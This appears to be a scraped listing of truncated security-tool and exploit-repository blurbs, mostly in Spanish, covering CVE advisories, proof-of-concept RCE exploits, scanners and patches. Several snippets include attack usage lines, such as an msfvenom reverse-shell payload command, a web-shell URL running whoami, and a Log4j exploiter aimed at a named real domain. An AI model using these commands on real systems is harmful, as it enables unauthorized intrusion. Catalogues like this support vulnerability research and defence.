CVE-2026-92125

Jenkins Script Security Plugin versions 1415.v9a_f9b_3a_c253d and earlier fail to reject the @GroovyASTTransformationClass annotation, which allows an attacker with permission to define and run sandboxed scripts (including Pipelines) to trigger an arbitrary AST transformation at compile time . Th...

EUVD-2026-80749

Jenkins Script Security Plugin 1415.v9af9b3ac253d and earlier does not reject the @GroovyASTTransformationClass annotation, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to run an arbitrary AST transformation at compile time, bypassing the sandbox...

Drupal_REST-RCE_Unauthenticated

CVE-2019-6340 — Drupal Servicios Web RESTful RCE Implementación en Python del exploit de ejecución remota de código para CVE-2019-6340, basado en el análisis del módulo de Metasploit y del trabajo previo de leonjza. Diferencia clave con EDB-46459: usa POST en lugar de GET, evitando la caché de...

CVE-2022-3602

Detección para CVE-2022-3602 - OpenSSL RCE/DOC v3.0.0 - v3.0.6 Detecta cuando la cabecera HTTP Server indica que la versión de OpenSSL es vulnerable a CVE-2022-3602 es decir, v3.0.0 a v3.0.6 inclusive. Detecta intentos de explotación en TLS v1.2. Referencias:...

CVE-2022-22954

CVE-2022-22954 PoC RCE mediante SSTI en VMware Workspace ONE Access e Identity Manager. CVE-2022-22954 - PoC SSTI Uso: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | fi...

CVE-2023-21839-metasploit-scanner

CVE-2023-21839-metasploit-scanner Uso git clone https://github.com/kurehalin/CVE-2023-21839-metasploit-scanner cd CVE-2023-21839-metasploit-scanner mkdir -p /.msf4/modules/auxiliary/scanner/http cp weblogiciioprce.py /.msf4/modules/auxiliary/scanner/http chmod +x...

CVE-2017-11610

CVE-2017-11610 Shell inverso no autenticado RCE para Supervisor 3.0a1 - 3.3.2 Exploit independiente Python ≥3.6 de RCE no autenticado para Supervisor 3.0a1 a 3.3.2, reescrito a partir de este módulo de Metasploit. Artículo explicativo aquí. Probado con Python 3.7 en este objetivo ejecutando...

dnsbin

dnsbin The request.bin of DNS request DNSBin is a simple tool to test data exfiltration through DNS and help test vulnerability like RCE or XXE when the environment has significant constraint. The project is in two parts, the first one is the web server and it's component. It offers a basic web U...

chamilo-lms-unauthenticated-rce-poc

Chamilo LMS Unauthenticated RCE PoC This is a script written in Python that allows the exploitation of the Chamilo's LMS software security flaw described in CVE-2023-4220. The system is vulnerable in versions preceding 1.11.24. Usage Clone the repository to your machine and install the dependenci...

stylesmuggler-ioc-toolkit

StyleSmuggler IOC Toolkit — CVE-2026-75650 Magento zero-day · Adobe Commerce zero-day · CVE-2026-75650 · APSB26-146 · VULN-39341 · unauthenticated RCE · Magento malware · Magento backdoor removal · Magento 2.4.9 vulnerability · Rust implant · GraphQL styles injection · PHP web shell Community...

CVE-2024-23692

POC - Unauthenticated RCE Flaw in Rejetto HTTP File Server - CVE-2024-23692 Overview POC - Unauthenticated RCE Flaw in Rejetto HTTP File Server - CVE-2024-23692 CVE-2024-23692 - YouTube CVE-2024-23692 is a critical vulnerability in Rejetto HTTP File Server HFS version 2.3m, allowing unauthenticat...

joomla_exploits

Exploits de Joomla Este repositorio contiene artefactos de exploits de Joomla seleccionados y validados contra entornos reales de Joomla en Docker. La colección se divide según su utilidad ofensiva práctica. real-impact Exploits con impacto de seguridad directo: RCE, subida de archivos que conduc...

Log4j-RCE-Exploiter

Log4j-RCE-Exploiter Escáner para Log4j RCE CVE-2021-44228 Instalación Para la instalación, ejecute el siguiente comando con SUPERUSUARIO ROOT root@kitploit: ▶ cd Log4j-RCE-Exploiter ▶ chmod 777 installer.sh ▶ ./installer.sh Uso root@kitploit: ▶ log4jExploiter -d tesla.com -b...

CVE-2021-22205

CVE-2021-22205 RCE preautenticado a través de exiftool en Gitlab CE/EE Resumen del CVE GitLab utiliza ExifTool para escanear cada archivo tiff/jpeg/jpg y eliminar cualquier etiqueta no autorizada en la lista blanca. Pero debido a que ExifTool no utiliza las extensiones de archivo para determinar ...

CVE-2021-30461

Impacted Products VoIPmonitor 24.60 How to RCE root@kitploit: python3 CVE-2021-30461.py -t ipaddress Browser shell: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami Reference https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2020-0796

CVE-2020-0796 Explicación de CVE-2020-0796 e investigación de la vulnerabilidad para el proyecto del trimestre CENG325 para principiantes ¿Cómo explotar? Generación de payload de usuario para reverse shell: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f...

CVE-2026-9198_exploit

CVE-2026-9198 — Langflow OSS RCE no autenticado Ejecución remota de código no autenticada en IBM Langflow OSS 1.0.0 – 1.10.0 en una implementación predeterminada. Encadena dos fallos: CVE-2026-9103 — GET /api/v1/autologin emite un JWT SUPERUSER a cualquier solicitante sin credenciales cuando...

msdt-CVE-2022-30190

msdt-follina-office CVE-2022-30190 - Vulnerabilidad RCE de cero clics en MSDT...

LogJackFix

LogJack Fix Un plugin de Spigot para corregir la vulnerabilidad de ejecución remota de código CVE-2021-44228 en Log4j, para proteger a los clientes de Minecraft. Construcción root@kitploit: gradle build Licencia Licenciado bajo GPLv3 Copyright c 2021 lordpipe Contribuciones Al realizar una...

CVE-2024-25641-CACTI-RCE-1.2.26

CVE-2024-25641 - Cacti 1.2.26 - Escritura arbitraria de archivos a RCE 🌵 RCE autenticado Cacti versión v1.2.26 Resumen Una vulnerabilidad de escritura arbitraria de archivos, explotable a través de la función "Importación de Paquetes", permite a usuarios autenticados que tengan el permiso "Import...